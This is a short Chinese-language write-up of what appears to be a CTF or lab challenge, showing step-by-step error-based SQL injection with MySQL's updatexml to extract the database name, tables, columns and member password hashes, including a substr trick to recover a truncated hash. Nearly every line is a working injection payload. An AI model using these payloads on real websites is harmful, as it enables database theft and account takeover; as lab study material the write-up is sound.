根据题意,用updatexml构造报错回显 ' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
爆库 ' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表 ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup' limit 0,1),0x7e),1)--+
爆字段 ' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'stormgroup' and table_name = 'member'),0x7e),1)--+
爆字段值
' and updatexml(1,concat(0x7e,(select name from member limit 0,1),0x7e),1)--+
' and updatexml(1,concat(0x7e,(select name from member limit 1,1),0x7e),1)--+
' and updatexml(1,concat(0x7e,(select password from member limit 0,1),0x7e),1)--+
' and updatexml(1,concat(0x7e,(select password from member limit 1,1),0x7e),1)--+
一个一个爆出来即可
爆到这里有个坑点,例如上图,按照正常来说的回显应该是 “~密码~ ” 这样的形式的
但是这里结尾却没有~了,报错长度32位,~符号占用了1位,所以密码只有31位
果然直接拿这个密码去MD5解密,直接解释失败
根据题目提示,要用到substr函数,所以直接把被吞的最后一位单独截出来
' and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 0,1),0x7e),1)--+
' and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1),0x7e),1)--+
直接拼接
登录成功